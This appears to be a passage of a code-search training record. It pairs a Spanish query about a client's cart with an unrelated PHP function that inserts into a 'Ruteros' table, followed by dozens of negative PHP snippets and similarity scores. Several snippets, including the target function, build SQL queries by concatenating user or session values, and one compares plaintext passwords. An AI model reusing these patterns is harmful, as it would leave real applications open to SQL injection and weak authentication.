true);\n\t\t\treturn response()->json([\"respuesta\" => $respuesta], 200);\n\t\t\t}\n\t\t else\n\t\t\t{\n\t\t\treturn response()->json([\"respuesta\" => true], 200);\n\t\t\t}\n\t\t}", "public function checkRegistryRequestsAnswers()\n {\n return $this->tracker && $this->translate && $this->util;\n }", "function is_referral(){\n\n\t\treturn (new user_agent)->is_referral();\n\n\t}", "public function isSuccess ()\n {\n return $this->info[ 'http_code' ] == '200';\n }", "public function isRequestSuccessful()\n {\n return strtolower($this->transaction->getMessages()->getResultCode()) === 'ok';\n }", "public function autenticar($senha){\n //if($senha == $this->senha){\n // return true;\n //} \n return $this->senha == $senha;\n }", "public function isSent() {\n\treturn $this->status != self::$WAITING;\n }", "abstract public function isSuccessful();", "public function check() {\n return (isset($_SESSION['usuario']));\n }", "public function iniciarDistribucionPresupuestaria()\r\n\t\t{\r\n\t\t\tif ( isset($this->_conexion) && isset($this->_conn) ) {\r\n\t\t\t\tif ( self::suprimirByRecibo() ) {\r\n\t\t\t\t\treturn self::guardar();\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\treturn false;\r\n\t\t}", "public function IsOk(){\n\t\treturn $this->_isok;\n\t}", "public function esiste() {\n return isset($this->ruolo);\n }", "public function valid()\n {\n return !is_null(key($this->requests));\n }", "public function isGerechtigd()\n {\n if(isset($_SESSION['gebruiker'])&&!empty($_SESSION['gebruiker']))\n {\n $gebruiker=$_SESSION['gebruiker'];\n if ($gebruiker->getRecht() == \"medewerker\")\n {\n return true;\n }\n else\n {\n return false;\n }\n }\n \n return false;\n \n \n }", "function chk_teach_id(){\n\n\t\t$Q = $this->teach_lgn->chk_teach_id();\n\n\t\tif ($Q) {\n\t\t\t\n\t\t\treturn FALSE;\n\t\t}\n\t\telse{\n\n\t\t\treturn TRUE;\n\t\t}\n\n\t}", "public function verificarLoteExistente()\r\n {\r\n $datos = $_SESSION['idLote'];\r\n $anoImpositivo = $datos[0]->ano_impositivo;\r\n $rangoInicial = $datos[0]->rango_inicial;\r\n $rangoFinal = $datos[0]->rango_final;\r\n \r\n \r\n $busquedaLote = Calcomania::find()\r\n \r\n\r\n ->select('*')\r\n \r\n ->where('nro_calcomania between '. $rangoInicial .' and '.$rangoFinal)\r\n ->andWhere('estatus =:estatus' , [':estatus' => 0])\r\n ->andWhere('ano_impositivo =:ano_impositivo' , [':ano_impositivo' => $anoImpositivo])\r\n ->all();\r\n\r\n\r\n if ($busquedaLote == true){\r\n return true;\r\n }else{\r\n return false;\r\n }\r\n }", "public function is_redirect()\n {\n }", "public function isOk() {\n\t\treturn $this->ok;\n\t}", "protected function is_trashed_page() {\n\t\treturn 'trashed' === Param::get( 'status' );\n\t}", "public function isSuccessful(): bool\n {\n return $this->status == 'a';\n }", "public function VerificaDisponibilidade()\n\t{\n\t\t$this->loadModel('Cliente');\n\t\t$disponibilidade = $this->Cliente->find('count', array(\n\t\t\t'conditions' => \n\t\t\t\tarray(\n\n\t\t\t\t\t'Cliente.id' => $this->request->data['id_cliente'],\n\t\t\t\t\t'Cliente.site_no_ar' => 'S'\n\t\t\t\t)\n\t\t\t));\n\t\t\n\t\tif($disponibilidade == 0)\n\t\t{\n\t\t\t$this->Return = false;\n\t\t\t$this->Message = 'SITEFECHADO';\n\t\t\t$this->EncodeReturn();\t\n\t\t}\n\t}", "public function check()\n {\n if ($this->getResponse()->status == 'error') {\n return true;\n }\n\n return false;\n }", "public function esMiAnuncio($idAnuncio, $idUser){ \n $query = \"SELECT idAnuncio FROM final_anuncio WHERE idAnuncio='\".$idAnuncio.\"' AND idUser='\".$idUser.\"'\"; \n return mysqli_num_rows($this->con->action($query))> 0 ? True : False; \n }", "public function isAuthed() {\n return $this->state == 2;\n }", "public function isRefunded()\n {\n return $this->getStatus() === OpenNode_Bitcoin_Model_Bitcoin::OPENNODE_STATUS_REFUNDED;\n }", "private\n function checkAuth()\n {\n if (!isset($_SESSION['artiste_id'])) {\n return false;\n }\n return true;\n }", "public function isAnggota()\n {\n return ($this->hasRole(HakAkses::ANGGOTA));\n }", "public function isSuccess(): bool\n {\n return $this->get('json', 'error') === false;\n }", "public function isCompleted();", "public function isSuccess():bool;" ]
[ "0.6289712", "0.6166524", "0.6143129", "0.6090868", "0.60089463", "0.59886575", "0.5973088", "0.5944217", "0.5935594", "0.5933255", "0.59277725", "0.59088", "0.5908095", "0.59048325", "0.5876983", "0.5876983", "0.58766216", "0.5872634", "0.5872156", "0.5867052", "0.5850836", "0.5845397", "0.58385986", "0.58106554", "0.5809349", "0.5808579", "0.5808175", "0.58037156", "0.5794911", "0.57887805", "0.5779095", "0.5778091", "0.57738894", "0.57738894", "0.57738894", "0.57738894", "0.57722497", "0.57599604", "0.5759356", "0.5752928", "0.5748706", "0.5733457", "0.5723248", "0.57212293", "0.5715732", "0.57111156", "0.57098037", "0.57095325", "0.5705052", "0.5704672", "0.57042295", "0.56793857", "0.567776", "0.5665195", "0.56617063", "0.5660876", "0.5653411", "0.5645156", "0.56429124", "0.5641893", "0.5638231", "0.5635252", "0.5630259", "0.5628834", "0.56280726", "0.5625601", "0.5625338", "0.5617706", "0.5617078", "0.5612482", "0.5610916", "0.5609338", "0.56091607", "0.56088597", "0.56041044", "0.5596902", "0.55932426", "0.55928814", "0.55900586", "0.5589229", "0.5587171", "0.55810434", "0.5578796", "0.5578281", "0.5575556", "0.55740786", "0.5573679", "0.5570498", "0.55675536", "0.5566053", "0.55546135", "0.55520546", "0.55511165", "0.5547334", "0.55468017", "0.5546508", "0.554637", "0.55458915", "0.5545088", "0.55450004", "0.55445635" ]
0.0
-1
muestra el carrito de un cliente
function IngresarARutero($CardCode,$ItemCode,$Descripcion){ if($this->con->conectar()==true){ //si no existe en la tabla de ruteros la inserta de loc ontrario no ahce nada if($this->VerificaExisteEnRutero($CardCode,$ItemCode)== 0) return mysql_query("INSERT INTO `Ruteros`(`CardCode`, `ItemCode`, `Descrpcion`) VALUES ('".$CardCode."','".$ItemCode."','".$Descripcion."')"); } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getCliente();", "public function getcliente()\r\n {\r\n return $this->cliente;\r\n }", "public function getNomeCliente(){/*Retorna o nome_cliente*/\n\t\t\treturn $this-> nome_cliente;\n\t\t}", "public function getIdcliente() {\n\t\t\t\treturn $this->id_cliente ?? \"Id do Cliente não solicitado !!\";\n\t\t\t}", "function getIdCliente()\r\n\t {\r\n\t\t return $this->id_cliente;\r\n\t }", "public function getIdCliente(){\r\n return $this->idCliente;\r\n }", "public function getCliente()\n {\n return $this->cliente;\n }", "public function getNom_client()\n {\n return $this->nom_client;\n }", "function altaCliente ($cliente){\r\n $this->clientes[] = $cliente; /// Este es el ejemplo de altaCliente que ha echo Jesús.\r\n }", "function Listar_Clientes()\n\t {\n\t\tlog_message('INFO','#TRAZA| CLIENTES | Listar_Clientes() >> ');\n\t\t$data['list'] = $this->Clientes->Listar_Clientes();\n return $data;\n\t }", "public function getClientes_idclient(){\n return $this->clientes_idclient;\n }", "public function getidcliente(){\n\t\treturn $this->_idcliente;\n\t}", "function listarCliente(){\n\t\t$this->procedimiento='rec.ft_cliente_sel';\n\t\t$this->transaccion='REC_CLI_SEL';\n\t\t$this->tipo_procedimiento='SEL';//tipo de transaccion\n\t\t\t\t\n\t\t//Definicion de la lista del resultado del query\n\t\t$this->captura('id_cliente','int4');\n\t\t$this->captura('genero','varchar');\n\t\t$this->captura('ci','varchar');\n\t\t$this->captura('email','varchar');\n\t\t$this->captura('email2','varchar');\n\t\t$this->captura('direccion','varchar');\n\t\t$this->captura('celular','varchar');\n\t\t$this->captura('nombre','varchar');\n\t\t$this->captura('lugar_expedicion','varchar');\n\t\t$this->captura('apellido_paterno','varchar');\n\t\t$this->captura('telefono','varchar');\n\t\t$this->captura('ciudad_residencia','varchar');\n\t\t$this->captura('id_pais_residencia','int4');\n\t\t$this->captura('nacionalidad','varchar');\n\t\t$this->captura('barrio_zona','varchar');\n\t\t$this->captura('estado_reg','varchar');\n\t\t$this->captura('apellido_materno','varchar');\n\t\t$this->captura('id_usuario_ai','int4');\n\t\t$this->captura('fecha_reg','timestamp');\n\t\t$this->captura('usuario_ai','varchar');\n\t\t$this->captura('id_usuario_reg','int4');\n\t\t$this->captura('fecha_mod','timestamp');\n\t\t$this->captura('id_usuario_mod','int4');\n\t\t$this->captura('usr_reg','varchar');\n\t\t$this->captura('usr_mod','varchar');\n\n $this->captura('nombre_completo1','text');\n $this->captura('nombre_completo2','text');\n\t\t$this->captura('pais_residencia','varchar');\n\t\t//$this->captura('nombre','varchar');\n\n\n\n\n\t\t\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\t\t\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "public function getNomClient() {\n return $this->nomClient;\n }", "public function listar_clientes(){\n\t\t$sql=\"SELECT idpersona, tipo_persona, nombre, tipo_documento, num_documento, contacto, direccion, telefono, email FROM persona\n\t\tWHERE tipo_persona LIKE 'Cliente'\";\n\t\treturn ejecutarConsulta($sql);\n\t}", "public function ctlBuscaClientes(){\n\n\t\t$respuesta = Datos::mdlClientes(\"clientes\");\n\n\t\tforeach ($respuesta as $row => $item){\n\t\t\techo '<option value=\"'.$item[\"nombre\"].'\">'.$item[\"nombre\"].'</option>';\n\t\t}\n\t}", "public function listaCliente() {\n\n return $clientes; // array de clientes\n }", "public function mostrarClientes() {\n //String $retorno\n //Array Cliente $col\n $retorno = \"\";\n $col = $this->getColClientes();\n for ($i = 0; $i < count($col); $i++) {\n $retorno .= $col[$i] . \"\\n\";\n $retorno .= \"----------------------------\\n\";\n }\n return $retorno;\n }", "function _ConsultarClientes()\n\t\t{\n\t\t\t$query='\n\t\t\t\tSELECT\n\t\t\t\tclientes.id,\n\t\t\t\tclientes.nb_cliente,\n\t\t\t\tclientes.nb_apellidos,\n\t\t\t\tclientes.de_email,\n\t\t\t\tclientes.num_celular,\n\t\t\t\tusuarios.nb_nombre as \"Ins_nombre\", \n\t\t\t\tusuarios.nb_apellidos as \"Ins_apellido\" \n\t\t\t\tFROM sgclientes clientes\n\t\t\t\tleft join sgusuarios usuarios on clientes.id_usuario_registro=usuarios.id\n\t\t\t\twhere clientes.sn_activo=1\n\t\t\t\tORDER BY clientes.id ASC\n\t\t\t\n\t\t\t';\n\t\t\t$clientes = $this->EjecutarTransaccionAllNoParams($query);\n\t\t\treturn $clientes;\n\t\t}", "public function getCodCliente()\n {\n return $this->codCliente;\n }", "public function cliente_get(){\n\t\t$cliente_id = $this->uri->segment(3);\n\n\t\t//validar el cliente id\n\t\tif (!isset($cliente_id)) {\n\t\t\t$respuesta = array(\n\t\t\t\t'err'=>TRUE,\n\t\t\t\t'mensaje'=>'Es necesario el id del cliente'\n\t\t\t);\n\n\t\t\t$this->response($respuesta, REST_Controller::HTTP_BAD_REQUEST);\n\t\t}\n\n\t\t//lo paso al modelo\n\t\t$cliente = $this->Cliente_model->get_cliente($cliente_id);\n\n\t\t//cargo, valido y lo devuelto para que se muestre\n\t\tif(isset($cliente)){\n\t\t\t$respuesta=array(\n\t\t\t\t'err'=>FALSE,\n\t\t\t\t'mensaje'=>'Registro cargado correctamente',\n\t\t\t\t'cliente'=>$cliente\n\t\t\t);\n\n\t\t\t$this->response($respuesta);\n\t\t}else{\n\t\t\t$respuesta=array(\n\t\t\t\t'err'=>TRUE,\n\t\t\t\t'mensaje'=>'El registro con el id '.$cliente_id.', no exste',\n\t\t\t\t'cliente'=>null\n\t\t\t);\n\t\t\t$this->response($respuesta, REST_Controller::HTTP_NOT_FOUND);\n\t\t}\n\t}", "public function getNomeCliente()\n {\n return $this->nomeCliente;\n }", "public function getCodigoCliente()\n {\n return $this->codigoCliente;\n }", "public function getCodigoCliente()\n {\n return $this->codigoCliente;\n }", "public function getCodigoCliente()\n {\n return $this->codigoCliente;\n }", "public function getAplicarDescontoCliente()\n {\n return $this->aplicar_desconto_cliente;\n }", "public function getIdCliente()\n {\n return $this->idCliente;\n }", "function leerClientes(){\n \n try{\n $stmt = $this->dbh->prepare(\"SELECT c.idClienteTg, c.NombreCte,c.RFCCte, c.direccion, c.ciudad,c.estado, c.email, c.telefono, c.numTg,r.nombreReferencia FROM referencias r join tarjetas_clientes c on r.idreferencia=c.referenciaId where c.status=1\");\n // Especificamos el fetch mode antes de llamar a fetch()\n $stmt->execute();\n $clientes = $stmt->fetchAll(PDO::FETCH_NUM);\n } catch (PDOException $e){\n $clientes=array(\"status\"=>\"0\",\"mensaje\"=>$e->getMessage());\n }\n \n return $clientes;\n }", "public function getcliente() {\n \n $procedure = \"call sp_appweb_pt_getclienteinterno()\";\n\t\t$query = $this->db-> query($procedure);\n \n if ($query->num_rows() > 0) {\n\n $listas = '<option value=\"0\" selected=\"selected\"></option>';\n \n foreach ($query->result() as $row)\n {\n $listas .= '<option value=\"'.$row->CCLIENTE.'\">'.$row->RAZONSOCIAL.'</option>'; \n }\n return $listas;\n }{\n return false;\n }\t\n }", "function getCliente($filter) {\n $where = \" WHERE Id_cliente LIKE :Id_cliente OR Nombre LIKE :Nombre OR Apellido_paterno LIKE :Apellido_paterno\";\n $array = array(\n 'Id_cliente' => '%' . $filter . '%',\n 'Nombre' => '%' . $filter . '%',\n 'Apellido_paterno' => '%' . $filter . '%',\n );\n\n $columns = \"Id_cliente, Nombre, Apellido_paterno, Apellido_materno, Email, Edad, Fecha_inicio, Folio\";\n //Retorname el valor de acuerdo a los parametros que estan arriba\n return $this->db->select1($columns, \"clientes\", $where, $array);\n }", "public function getNomeFantasiaCliente()\n {\n return $this->nomeFantasiaCliente;\n }", "public function ClientesPorId()\n{\n\tself::SetNames();\n\t$sql = \" select * from clientes where codcliente = ? \";\n\t$stmt = $this->dbh->prepare($sql);\n\t$stmt->execute( array(base64_decode($_GET[\"codcliente\"])) );\n\t$num = $stmt->rowCount();\n\tif($num==0)\n\t{\n\t\techo \"\";\n\t}\n\telse\n\t{\n\t\tif($row = $stmt->fetch(PDO::FETCH_ASSOC))\n\t\t\t{\n\t\t\t\t$this->p[] = $row;\n\t\t\t}\n\t\t\treturn $this->p;\n\t\t\t$this->dbh=null;\n\t\t}\n\t}", "function listarClienteLibro()\n {\n $this->procedimiento='rec.ft_cliente_sel';\n $this->transaccion='REC_RELIBRO_SEL';\n $this->tipo_procedimiento='SEL';//tipo de transaccion\n\n $this->setParametro('id_oficina_registro_incidente','id_oficina_registro_incidente','integer');\n $this->setParametro('fecha_ini','fecha_ini','date');\n $this->setParametro('fecha_fin','fecha_fin','date');\n $this->setCount(false);\n\n $this->captura('id_reclamo','int4');\n $this->captura('nro_frd','varchar');\n $this->captura('correlativo_preimpreso_frd','int4');\n $this->captura('fecha_hora_incidente','timestamp');\n $this->captura('fecha_hora_recepcion','timestamp');\n $this->captura('fecha_hora_recepcion_sac','date');\n $this->captura('detalle_incidente','text');\n $this->captura('nombre','text');\n $this->captura('celular','varchar');\n $this->captura('telefono','varchar');\n $this->captura('nombre_incidente','varchar');\n $this->captura('sub_incidente','varchar');\n\n //Ejecuta la instruccion\n $this->armarConsulta();\n\t\t//var_dump($this->respuesta); exit;\n $this->ejecutarConsulta();\n //var_dump($this->respuesta); exit;\n //Devuelve la respuesta\n return $this->respuesta;\n\n }", "public function consultarCliente(){\n //$conexao = $c->conexao();\n\n $sql = \"SELECT * FROM tbclientes order by nome; \";\n $sql = $this->conexao->query($sql);\n\n $dados = array();\n\n while ($row = $sql->fetch_array()) { \n $dado = array();\n $dado['reg'] = $row[\"reg\"];\n $dado['nome'] = $row[\"nome\"];\n $dado['nomeFantasia'] = $row[\"nomefantasia\"];\n $dado['rg'] = $row[\"rg\"];\n $dado['cpf'] = $row[\"cpf\"];\n $dado['cnpj'] = $row[\"cnpj\"];\n $dado['telefone'] = $row[\"telefone\"];\n $dado['dt_nascimento'] = $row[\"dt_nascimento\"];\n $dado['habilitado'] = $row[\"habilitado\"];\n $dados[] = $dado;\n } \n\n return $dados; \n \n }", "public function consultarClientes() {\n\n $conexion = new conexion();\n $sql = \"select nit, nombre from cliente_general where estado = 'A' group by nit,nombre order by nombre\";\n $resulConsulta = $conexion->consultar($sql);\n\n return $resulConsulta;\n }", "public function getCodigoClient()\n {\n return $this->codigo_client;\n }", "static public function ctrMostrarIdCliente($valor){\n\n $respuesta = ModeloClientes::mdlMostrarIdCliente($valor);\n\t\treturn $respuesta;\n }", "public function recuperaToken()\n {\n // por eso para propositos de prueba solo se usara el primer cliente\n $this->cliente=Cliente::find(1)->token;\n }", "function listadoClientes(){\n\t\t\t\n\t\t\t//SQL\n\t\t\t$query = \"SELECT * FROM users ORDER BY rol,id DESC;\";\n\t\t\t$rst = $this->db->enviarQuery($query,'R');\n\t\t\t\n\t\t\tif(@$rst[0]['id'] != \"\"){\n\t\t\t\treturn $rst;\n\t\t\t}else{\n\t\t\t\treturn array(\"ErrorStatus\"=>true);\n\t\t\t}\n\t\t}", "public function TresorieClient() {\n \n $em = $this->getDoctrine()->getManager();\n $entityClient = $em->getRepository('RuffeCardUserGestionBundle:Client')->findClientNoPaiment();\n return $this->render ( \"RuffeCardTresorieBundle:Default:clientPaiement.html.twig\", array ('Client'=>$entityClient));\n \n }", "function obtener_inf_cliente(){\n $sql=\"select c.id_cliente,c.razon_social \n from cliente c\n \";\n \n $consulta =$this->db->query($sql);\n return $consulta;\n }", "abstract public function getClientInformation();", "function cocinar_registro_cliente() {\n\t\tglobal $bd;\n\t\tglobal $x_idcliente;\n\t\tglobal $x_idpedido;\n\n\t\t\n\t\t// $x_arr_cliente = $_POST['p_cliente'];\n\t\t// $datos_cliente = $x_arr_cliente['cliente'];\n\t\t$datos_cliente = $_POST['p_cliente'];\n\n\t\t$nomclie=$datos_cliente['nombres'];\n\t\t$idclie=$datos_cliente['idcliente'];\n\t\t$num_doc=$datos_cliente['num_doc'];\n\t\t$direccion=$datos_cliente['direccion'];\n\t\t$f_nac=$datos_cliente['f_nac'];\n\t\t// $idpedidos=$x_arr_cliente['i'] == '' ? $x_idpedido : $x_arr_cliente['i'];\n\n\t\tif($idclie==''){\n\t\t\tif($nomclie==''){//publico general\n\t\t\t\t$idclie=0;\n\t\t\t}else{\n\t\t\t\t$sql=\"insert into cliente (idorg,nombres,direccion,ruc,f_nac)values(\".$_SESSION['ido'].\",'\".$nomclie.\"','\".$direccion.\"','\".$num_doc.\"','\".$f_nac.\"')\";\n\t\t\t\t$idclie=$bd->xConsulta_UltimoId($sql);\n\t\t\t}\n\t\t} else {\n\t\t\t// update cliente\n\t\t\t$sql=\"update cliente set nombres='\".$nomclie.\"',ruc='\".$num_doc.\"',direccion='\".$direccion.\"' where idcliente = \".$idclie;\n\t\t\t$bd->xConsulta_NoReturn($sql);\n\t\t}\n\n\t\t// $bd->xConsulta_NoReturn($sql);\n\t\t// $sql=\"update pedido set idcliente=\".$idclie.\" where idpedido in (\".$idpedidos.\")\";\n\t\t\n\t\t$x_idcliente = $idclie;\n\t\t$x_idpedido = $idpedidos;\n\n\t\techo $idclie;\n\n\t\t// $rptclie = json_encode(array('idcliente' => $idclie));\n\t\t// print $rptclie.'|';\n\n\t\t// 031218 // cambio: ahora se graba primero el cliente se devuelve el idcliete, \n\n\t\t// $GLOBALS['x_idcliente'] = $idclie;\n\t\t// return $x_idcliente;\n\t\t// echo $idclie;\n\t}", "function obtenerClientes(){\n $query = $this->connect()->query('SELECT * FROM cliente');\n return $query;\n }", "public function getAllClients(){\n\t\t$sql = \"SELECT * FROM cliente;\";\n\t\treturn $this->Model->getData($sql);\n\t}", "public function buscarclientecuit($cliente = null){\n\n if(sizeof($this->request->getData()) > 0){\n\n $data = $this->request->getData();\n\n if(ctype_digit ($data['id'])){\n\n $auth = $this->request->session()->read('Auth');\n\n try {\n\n $conditions[] = array('Clientes.cuit = ' => $data['id']);\n \n $c = $this->Clientes->find(\n 'all', \n array('recursive' => -1,\n 'conditions' => $conditions)\n )->first();\n\n if (!is_null($c)){\n\n $cliente = $c->toArray();\n\n return $this->redirect(['action' => 'view', $cliente['id']]);\n \n }else{\n\n $this->Flash->error(__('No existe un Cliente con ese CUIT/DNI.'));\n }\n\n } catch (RecordNotFoundException $e) {\n\n $this->Flash->error(__('No existe un Cliente con ese CUIT/DNI.'));\n }\n\n }else{\n\n $this->Flash->error(__('Solo ingresar Numeros sin \".\" ni \"-\".'));\n }\n }\n\n $this->set('cliente', $cliente);\n }", "function read_client(){\n $client = array();\n \n $sql = \"SELECT * FROM client ORDER BY id_client ASC\";\n \n $res = $this->pdo->query($sql);\n\n if(!$res){\n $this->message = \"impossible d'afficher les clients\";\n return false;\n }\n while($resultats = $res->fetch(PDO::FETCH_OBJ)){\n \t$client[$resultats->id_client] = $resultats;\n\t\t}\n return $client;\n }", "function insertarCliente(){\n\t\t$this->procedimiento='rec.ft_cliente_ime';\n\t\t$this->transaccion='REC_CLI_INS';\n\t\t$this->tipo_procedimiento='IME';\n\t\t\t\t\n\t\t//Define los parametros para la funcion\n\t\t$this->setParametro('genero','genero','varchar');\n\t\t$this->setParametro('ci','ci','varchar');\n\t\t$this->setParametro('email','email','varchar');\n\t\t$this->setParametro('email2','email2','varchar');\n\t\t$this->setParametro('direccion','direccion','varchar');\n\t\t$this->setParametro('celular','celular','varchar');\n\t\t$this->setParametro('nombre','nombre','varchar');\n\t\t$this->setParametro('lugar_expedicion','lugar_expedicion','varchar');\n\t\t$this->setParametro('apellido_paterno','apellido_paterno','varchar');\n\t\t$this->setParametro('telefono','telefono','varchar');\n\t\t$this->setParametro('ciudad_residencia','ciudad_residencia','varchar');\n\t\t$this->setParametro('id_pais_residencia','id_pais_residencia','int4');\n\t\t$this->setParametro('nacionalidad','nacionalidad','varchar');\n\t\t$this->setParametro('barrio_zona','barrio_zona','varchar');\n\t\t$this->setParametro('estado_reg','estado_reg','varchar');\n\t\t$this->setParametro('apellido_materno','apellido_materno','varchar');\n\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "public function CarregaClientes() {\n\t\t$clientes = new Model_Wpr_Clientes_ClientesIntegracao ();\n\t\t\n\t\treturn $clientes->carregaClientes ();\n\t}", "public function getAllClientsInfo() {\n //Nom de famille :\n //Prénom :\n //Date de naissance :\n //Carte de fidélité :\n //Si oui, N° de carte:\n $queryResult = $this->database->query('SELECT lastName, firstName, birthDate, card, cardNumber, \n CASE card\n\tWHEN 1 THEN \"Oui\"\n\tWHEN 0 THEN \"Non\"\n END AS \"etat\"\n FROM clients'); \n $allClientsInfoData = $queryResult->fetchAll(PDO::FETCH_OBJ);\n return $allClientsInfoData;\n }", "function criaModeloDeCliente()\n{\n $cliente = array(\n 'nome' => '',\n 'nome_usuario' => '',\n 'cnpj' => '',\n 'conta_contrato' => '',\n 'razao_social' => '',\n 'produto' => '',\n 'modulo' => '',\n 'duvida' => '',\n 'departamento' => '0',\n 'telefone' => ''\n );\n\n return $cliente;\n}", "public function listarClientes(){\n $this->bd->getConeccion();\n $sql = \"SELECT * FROM CLIENTE\";\n $registros = $this->bd->executeQueryReturnData($sql); \n $this->bd->cerrarConeccion(); \n $clientes = array(); \n \n foreach ($registros as $cliente) {\n $cliente = new Cliente($cliente['id'],$cliente['dni'],$cliente['Nombre'],$cliente['Apellido'],$cliente['Correo'],$cliente['Telefono']);\n array_push($clientes, $cliente);\n }\n \n return $clientes; \n }", "public function List_client_Physique(){\n $req = self::list(\"SELECT * FROM client_physique\");\n return $req;\n }", "public function agendaClient() {\n $response = $this->database->query('SELECT id, lastName, firstName, birthDate, CASE WHEN `card` = true THEN \\'oui\\' ELSE \\'non\\' END AS `card`, cardNumber FROM `clients`');\n $data = $response->fetchAll(PDO::FETCH_OBJ); \n return $data; //la fonction retourne data.\n }", "function afficherclient()\r\n\t{\r\n\t\t$sql=\"SElECT * From user\";\r\n\t\t$db = config::getConnexion();\r\n\t\ttry\r\n\t\t{\r\n\t\t$liste=$db->query($sql);\r\n\t\treturn $liste;\r\n\t\t}\r\n catch (Exception $e)\r\n {\r\n die('Erreur: '.$e->getMessage());\r\n }\r\n\t}", "public function getClientes()\n {\n return $this->clientes;\n }", "public function getClientes()\n {\n return $this->clientes;\n }", "public function get_clientes()\n\t{\n\t\treturn $this->db->get(\"clientes\");\n\t}", "function getNomClient($id_client) {\n global $dbHandler, $global_id_agence;\n $db = $dbHandler->openConnection();\n \n $sql = \"SELECT statut_juridique, pp_nom, pp_prenom, pm_raison_sociale, gi_nom FROM ad_cli WHERE id_client=$id_client and id_ag = $global_id_agence\";\n $result = $db->query($sql);\n if (DB :: isError($result)) {\n $dbHandler->closeConnection(false);\n signalErreur(__FILE__, __LINE__, __FUNCTION__, $result->getMessage());\n }\n if ($result->numrows() != 1) {\n $dbHandler->closeConnection(false);\n signalErreur(__FILE__, __LINE__, __FUNCTION__, _(\"Nombre d'occurences différent de 1 !\"));\n }\n $row = $result->fetchrow(DB_FETCHMODE_ASSOC);\n switch ($row['statut_juridique']) {\n case 1 : //PP\n $nom = $row['pp_prenom'] . \" \" . $row['pp_nom'];\n break;\n case 2 : //PM\n $nom = $row['pm_raison_sociale'];\n break;\n case 3 : //GI\n $nom = $row['gi_nom'];\n case 4 : //GS\n $nom = $row['gi_nom'];\n break;\n default : //Autre\n $dbHandler->closeConnection(false);\n signalErreur(__FILE__, __LINE__, __FUNCTION__, _(\"Statut juridique inconnu !\"));\n break;\n }\n $dbHandler->closeConnection(true);\n return $nom;\n}", "function redirecionaClienteParaDepartamentoTecnologia($cliente)\n{\n\n # montando URL\n $url =\n \"index.php/por/chat/startchat/(leaveamessage)/true?prefill%5Busername%5D={$cliente['razao_social']}&value_items_admin[0]={$cliente['duvida']}&value_items_admin[1]={$cliente['nome_usuario']}&value_items_admin[2]={$cliente['conta_contrato']}&value_items_admin[3]={$cliente['razao_social']}&value_items_admin[4]={$cliente['cnpj']}&value_items_admin[5]=0&nome_departamento=Tecnologia&codigo_ticket=0&novo_erp={$cliente['novo_erp']}&prefill%5Bphone%5D=2&value_items_admin[6]={$cliente['telefone']}&value_items_admin[7]=0\";\n\n # redirecionando cliente para o colaborador no chat teste\n echo json_encode(['url' => 'http://192.168.0.47:9999/' . $url], JSON_UNESCAPED_UNICODE);\n\n # redirecionando cliente para o colaborador no chat produção\n #echo json_encode(['url' => 'https://chat.avancoinfo.net/' . $url], JSON_UNESCAPED_UNICODE);\n\n exit;\n}", "function clientes( $cliente = null )\n{\n\tglobal $con;\n\t$sql = \"Select Id,Nombre from clientes\n\twhere `Estado_de_cliente` like '-1'\n\tor `Estado_de_cliente` like 'on' order by Nombre\";\n\t$consulta = mysql_query($sql,$con);\n\twhile(true == ($resultado = mysql_fetch_array($consulta))) {\n\t\t$seleccionado = ( $cliente == $resultado[0]) ? \"selected\" : \"\";\n\t\t$texto .= \"<option \".$seleccionado.\" value='\".$resultado[0].\"'>\"\n\t\t. $resultado[1] . \"</option>\";\n\t}\n\treturn $texto;\n}", "function modificarCliente(){\n\t\t$this->procedimiento='rec.ft_cliente_ime';\n\t\t$this->transaccion='REC_CLI_MOD';\n\t\t$this->tipo_procedimiento='IME';\n\t\t\t\t\n\t\t//Define los parametros para la funcion\n\t\t$this->setParametro('id_cliente','id_cliente','int4');\n\t\t$this->setParametro('genero','genero','varchar');\n\t\t$this->setParametro('ci','ci','varchar');\n\t\t$this->setParametro('email','email','varchar');\n\t\t$this->setParametro('email2','email2','varchar');\n\t\t$this->setParametro('direccion','direccion','varchar');\n\t\t$this->setParametro('celular','celular','varchar');\n\t\t$this->setParametro('nombre','nombre','varchar');\n\t\t$this->setParametro('lugar_expedicion','lugar_expedicion','varchar');\n\t\t$this->setParametro('apellido_paterno','apellido_paterno','varchar');\n\t\t$this->setParametro('telefono','telefono','varchar');\n\t\t$this->setParametro('ciudad_residencia','ciudad_residencia','varchar');\n\t\t$this->setParametro('id_pais_residencia','id_pais_residencia','int4');\n\t\t$this->setParametro('nacionalidad','nacionalidad','varchar');\n\t\t$this->setParametro('barrio_zona','barrio_zona','varchar');\n\t\t$this->setParametro('estado_reg','estado_reg','varchar');\n\t\t$this->setParametro('apellido_materno','apellido_materno','varchar');\n\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "public function listarc()\n\t{\n\t\t$sql=\"SELECT * FROM persona WHERE tipo_persona = 'Cliente';\";\n\t\treturn ejecutarConsulta($sql);\n\t}", "function consultarCliente (){\n\t\t$x = $this->pdo->prepare('SELECT * FROM cliente');\n\t\t$x->execute();\n\t\treturn $x->fetchALL(PDO::FETCH_OBJ);\n\t}", "public function cliente()\r\r\n\t{\r\r\n\t\treturn $this->has_one('Cliente');\r\r\n\t}", "private function lista_clientes()\n {\n\n $lista_clientes = Cliente::where('status', 1)\n ->orderBy('nome')\n ->get();\n\n return $lista_clientes;\n }", "public function ListarClientes()\n{\n\tself::SetNames();\n\t$sql = \" select * from clientes \";\n\tforeach ($this->dbh->query($sql) as $row)\n\t{\n\t\t$this->p[] = $row;\n\t}\n\treturn $this->p;\n\t$this->dbh=null;\n}", "public function cliente()\n {\n \treturn $this->belongsTo('App\\User', 'id_cliente');\n }", "function tipo_cliente($id_tipo_cliente=\"\"){\n\t$db = new db(DB_USER,DB_PASSWORD,DB_NAME,DB_HOST);\n\tif ($id_tipo_cliente==\"\") {\n\t\treturn \"Tutti i Clienti\";\n\t}\n\t$q=\"SELECT * FROM tipo_cliente WHERE 